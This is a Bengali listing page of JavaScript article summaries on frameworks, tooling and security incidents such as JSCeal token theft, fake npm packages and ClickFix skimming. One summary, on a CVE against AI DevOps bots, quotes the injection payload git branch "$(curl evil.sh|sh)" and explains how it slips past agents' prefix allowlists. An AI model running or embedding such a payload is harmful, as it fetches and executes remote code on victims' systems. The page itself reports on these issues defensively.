GyaanSetu জাভাস্ক্রিপ্ট

জাভাস্ক্রিপ্ট এবং টাইপস্ক্রিপ্ট ইকোসিস্টেম।

100 articlesDeep, practical knowledge

TLS ফিঙ্গারপ্রিন্টিং Playwright স্ক্র্যাপারদের ক্লাউড কম্পিউট অপচয় করতে বাধ্য করছে, ফলে খরচ বাড়ছে

সার্ভারগুলো র (raw) TLS ClientHello-কে একটি JA3/JA4 ফিঙ্গারপ্রিন্টে হ্যাশ করে; দাবি করা User-Agent বা HTTP/2 সেটিংসের সাথে কোনো অমিল থাকলে অনুরোধটিকে স্ক্রিপ্টেড হিসেবে চিহ্নিত করা হয়। এর একমাত্র নির্ভরযোগ্য সমাধান হলো অনুরোধের প্রতিটি স্তরকে একই ব্রাউজারের তথ্য প্রদান করা।

জাভাস্ক্রিপ্ট · 4 min read

কাস্টিং করার সময় আপনার কাস্টম HTML5 প্লেয়ার কেন ক্র্যাশ করে – ৪টি লুকানো ফাঁদ

কাস্টিং প্লেব্যাককে টিভির ফার্মওয়্যারের কাছে হস্তান্তর করে, তাই টোকেনগুলোকে সেশনের চেয়ে বেশি সময় টিকে থাকতে হবে, CORS হেডারগুলোতে টিভির অরিজিন অন্তর্ভুক্ত থাকতে হবে এবং স্ট্রীম URL একটি ব্লব (blob) হতে পারবে না। এই গাইডটি দেখায় কীভাবে একটি ম্যানিফেস্ট URL ব্যবহার করতে হয় এবং সংযোগটি যাচাই করতে হয়।

জাভাস্ক্রিপ্ট · 3 min read

CI পলিসি স্ক্যান সক্ষম করার মাধ্যমে কীভাবে Bun-এর টেক্সট লকফাইল সাপ্লাই-চেইন ঝুঁকি কমায়

Bun v1.2-এর নতুন ডিফল্ট লকফাইল হলো একটি প্লেইন-টেক্সট bun.lock, যা আগের অস্বচ্ছ bun.lockb-কে প্রতিস্থাপন করছে। এই পরিবর্তনের ফলে রিভিউয়াররা ভার্সনের সঠিক পরিবর্তনগুলো দেখতে পারবেন, CI-তে পলিসি চেক চালাতে পারবেন এবং স্ট্যান্ডার্ড গিট টুলস ব্যবহার করে ক্ষতিকারক ইনসার্টগুলো শনাক্ত করতে পারবেন।

জাভাস্ক্রিপ্ট · 1 min read

JSCeal ম্যালওয়্যার ক্রোম OAuth টোকেন চুরি করে এবং ক্রিপ্টো ট্রেডারদের জন্য গুগলের MFA অকার্যকর করে দেয়

শুধুমাত্র RAM-এ কাজ করা JSCeal পেলোড ক্রোমিয়াম ব্রাউজার থেকে কুকিজ, সংরক্ষিত পাসওয়ার্ড এবং OAuth টোকেন সংগ্রহ করে এবং তারপর গুগলের সেকেন্ড-ফ্যাক্টর প্রম্পট বাইপাস করতে সেশনগুলো পুনরায় ব্যবহার করে, যার ফলে আক্রমণকারীরা Binance, Bybit, Ledger এবং আরও অনেক প্ল্যাটফর্ম থেকে তহবিল হাতিয়ে নিতে পারে।

জাভাস্ক্রিপ্ট · 2 min read

৪৮ সেকেন্ডের মধ্যে ১৩টি জাল Coinbase Wallet SDK npm রেজিস্ট্রিতে ছড়িয়ে পড়েছে

৭ সেপ্টেম্বর ২০২৬ তারিখে UTC সময় ০৪:৫৪:৫৯ থেকে ০৪:৫৫:৪৮ এর মধ্যে প্রকাশিত এই প্যাকেজগুলো cb-wallet-http এর মতো নাম ব্যবহার করে @coinbase/wallet-sdk এর নকল করেছে এবং ০.০.১-security ভার্সন ব্যবহার করেছে, যা দেখায় যে ম্যালিশিয়াস কোড কত দ্রুত কোনো প্রজেক্টে অনুপ্রবেশ করতে পারে।

জাভাস্ক্রিপ্ট · 2 min read

Tampermonkey-এর মাধ্যমে সরাসরি ব্রাউজার থেকে ক্রিপ্টো ডিপোজিট হাইজ্যাক করছে ClickFix

Cisco Talos ClickFix নামক একটি ক্রিপ্টো-স্কিমিং স্কিম শনাক্ত করেছে, যা ব্যবহারকারীদের একটি Tampermonkey স্ক্রিপ্ট ইনস্টল করতে প্রলুব্ধ করে। এই স্ক্রিপ্টটি রিয়েল-টাইমে ডিপোজিট অ্যাড্রেস পরিবর্তন করে দেয়, ফলে লেনদেনটি বৈধ মনে হলেও তহবিল চুরি হয়ে যায়।

জাভাস্ক্রিপ্ট · 2 min read

npm, Cargo, Composer এবং pip-এর ক্ষেত্রে ১৩টি Semver রেঞ্জের মধ্যে মাত্র ২টি একইভাবে কাজ করে

১৯টি ভার্সন নম্বরের বিপরীতে ১৩টি রেঞ্জ এক্সপ্রেশন পরীক্ষা করে দেখা গেছে যে মাত্র ১৭টি ফলাফল মিলেছে, যার বেশিরভাগই ছিল রিজেকশন। Caret, tilde এবং dot-x চিহ্নগুলো প্রতিটি ম্যানেজার ভিন্নভাবে ব্যাখ্যা করে, যা অপ্রত্যাশিত অসামঞ্জস্যতার সৃষ্টি করে।

জাভাস্ক্রিপ্ট · 2 min read

এআই-চালিত ডেভঅপস বটগুলোর দুর্বলতা প্রকাশ: প্রিফিক্স হোয়াইটলিস্ট ব্যবহার করে আক্রমণকারীরা যেকোনো কোড চালাতে পারে

CVE-2026-22708 প্রমাণ করে যে, এজেন্টগুলো যদি কমান্ডের শুধুমাত্র প্রথম টোকেনটি পরীক্ষা করে, তবে আর্গুমেন্টের মধ্যে লুকিয়ে রাখা পেলোড (যেমন: git branch "$(curl evil.sh|sh)") দিয়ে তাদের বিভ্রান্ত করা সম্ভব—যা আক্রমণকারীদের অটোমেশন বটের সমান ক্ষমতা প্রদান করে।

জাভাস্ক্রিপ্ট · 4 min read

WebFPGA মাত্র ৩০ mW-এ ৪ ms-এর মধ্যে TinyML ইনফারেন্স প্রদান করে – কোনো ডেটাই ব্রাউজার থেকে বাইরে যায় না

WebFPGA JavaScript থেকে একটি Lattice iCE40-UP5K FPGA প্রোগ্রাম করার জন্য WebUSB API ব্যবহার করে, যা মাত্র কয়েক দশ মিলিওয়াট বিদ্যুৎ খরচ করে ১০ মিলিসেকেন্ডের কম সময়ে TinyML ইনফারেন্স সম্পন্ন করতে সক্ষম এবং সমস্ত ডেটা ডিভাইসেই সুরক্ষিত রাখে।

জাভাস্ক্রিপ্ট · 2 min read

লিক হওয়া স্ট্রাইপ কীয়ের মাধ্যমে ৬৬৯টি ভেন্ডরের গ্রাহকের তথ্য চুরি ও জালিয়াতিমূলক চার্জের ঝুঁকি

ফাঁস হওয়া এই কীগুলোর মাধ্যমে আক্রমণকারীরা চার্জ তৈরি, ইনভয়েস সংগ্রহ এবং ব্যক্তিগত তথ্য হাতিয়ে নিতে পারে, যা চার্জব্যাক, জরিমানা এবং ব্র্যান্ডের সুনামের ক্ষতির ঝুঁকি তৈরি করছে। দ্রুত পদক্ষেপ হিসেবে ডটফাইল ব্লক করা, প্রতিটি কী রোটেশন করা এবং সিক্রেটগুলোকে একটি ভল্টে স্থানান্তর করা প্রয়োজন।

জাভাস্ক্রিপ্ট · 4 min read

LibreOffice 26.8 প্রকাশ করল গোপনীয়তা-কেন্দ্রিক রোডম্যাপ, এআই ক্লাউড কল এড়িয়ে

নতুন এই রিলিজটি জটিল স্ক্রিপ্টের জন্য প্যারাগ্রাফ লেআউট আরও উন্নত করেছে, একটি সহজতর ড্রাফট ভিউ যুক্ত করেছে এবং ODF-DOCX/XLSX কনভার্সন উন্নত করেছে; পাশাপাশি সিকিউরিটি প্যাচ এবং ম্যাক্রো স্যান্ডবক্সিং অন-প্রিমিস ডকুমেন্টস সুরক্ষিত রাখতে সাহায্য করবে।

জাভাস্ক্রিপ্ট · 2 min read

নতুন রাস্ট বাইনারির মাধ্যমে TypeScript 7 টাইপ-চেকিং ল্যাটেন্সি ৪০% কমিয়ে এনেছে

রাস্ট দিয়ে লেখা এই ইঞ্জিনটি একটি আলাদা প্রসেসে চলে, যা টাইপ অ্যানালাইসিসকে UI থ্রেড থেকে বিচ্ছিন্ন করে দেয়। এর সাথে যুক্ত হয়েছে আরও উন্নত ক্যাশিং ব্যবস্থা, যা শুধুমাত্র পরিবর্তিত ফাইলগুলো পুনরায় পরীক্ষা করে, ফলে ইনক্রিমেন্টাল বিল্ড আরও দ্রুততর ও মসৃণ হয়।

জাভাস্ক্রিপ্ট · 2 min read

Vue 3.6-এর Vapor Mode Virtual DOM পরিহার করছে, গেমের পারফরম্যান্স বাড়াচ্ছে

Vue 3.6-এর আসন্ন Vapor Mode সিঙ্গেল-ফাইল কম্পোনেন্টগুলোকে সরাসরি DOM কলে কম্পাইল করে, যা virtual-DOM diff ধাপটিকে বাদ দিয়ে দেয়। প্রতি সেকেন্ডে কয়েক ডজন বার রিপেইন্ট হওয়া বেঞ্চমার্ক গেমগুলোর ক্ষেত্রে এই পরিবর্তন রেন্ডার টাইম কমিয়ে দেয় এবং বান্ডেল সাইজ ছোট করে, যদিও কম-ফ্রিকোয়েন্সি সম্পন্ন UI-তে এর প্রভাব খুব সামান্য।

জাভাস্ক্রিপ্ট · 4 min read

ক্লড চারটি এজেন্ট টুলকে GA-তে নিয়ে এসেছে, যা এন্টারপ্রাইজগুলোর জন্য বিটা হেডার সংক্রান্ত বাধা দূর করেছে

বিটা-অনলি রিকোয়েস্ট হেডারগুলো চলে যাওয়ায়, এন্টারপ্রাইজগুলো অবশেষে আইনি এবং নিরাপত্তা সংক্রান্ত বাধাগুলো কাটিয়ে উঠতে পারবে। কম্পিউটার-ইউজ টুলের নতুন ব্যাচ-অ্যাকশন মোড কম ল্যাটেন্সি এবং কম টোকেন ব্যবহারের প্রতিশ্রুতি দিলেও, এই সাশ্রয়টি যাচাই করা প্রয়োজন।

জাভাস্ক্রিপ্ট · 3 min read

TanStack Table v9-এর অপ্ট-ইন ফিচারের মাধ্যমে বান্ডেল সাইজ কমে এখন মাত্র ~৫ KB

নতুন বিটা ভার্সনটি আপনাকে শুধুমাত্র আপনার প্রয়োজনীয় গ্রিড ফিচারগুলো ইমপোর্ট করার সুযোগ দেয়—এতে সর্টিং কোড পুরোপুরি বাদ দেওয়া সম্ভব, ডাউনলোড সাইজ কমিয়ে প্রায় ৫ KB করা যায় এবং মেইন-থ্রেড ওয়ার্ক এড়িয়ে চলা যায় যা আগে INP স্কোর কমিয়ে দিত।

জাভাস্ক্রিপ্ট · 2 min read

Meteor 3.5 uWebSockets.js সুইচের মাধ্যমে CPU ব্যবহার ৯% কমায় এবং থ্রুপুট দ্বিগুণ করে

Meteor 3.5 একটি প্লাগেবল DDP ট্রান্সপোর্ট প্রবর্তন করেছে যা DDP_TRANSPORT=uws এনভায়রনমেন্ট ভেরিয়েবলের মাধ্যমে uWebSockets.js-এ পরিবর্তন করা সম্ভব। এটি RPC-নির্ভর অ্যাপ্লিকেশনের জন্য ১.৬ গুণ পর্যন্ত বেশি থ্রুপুট, ৯% কম CPU, ১১% কম RAM এবং ২৬% কম GC পজ নিশ্চিত করে।

জাভাস্ক্রিপ্ট · 2 min read

Next.js-এ অ্যাডভান্সড সার্ভার সাইড ক্যাশিং আয়ত্ত করা

Next.js-এ অ্যাডভান্সড সার্ভার সাইড ক্যাশিং আয়ত্ত করা। একটি Next.js অ্যাপ স্কেল করার জন্য শুধুমাত্র SSR এবং SSG-এর মধ্যে বেছে নেওয়া যথেষ্ট নয়। আপনার ডেটা যত বাড়বে, তা কমানোর জন্য আপনার অ্যাডভান্সড ক্যাশিং প্রয়োজন হবে...

জাভাস্ক্রিপ্ট · 3 min read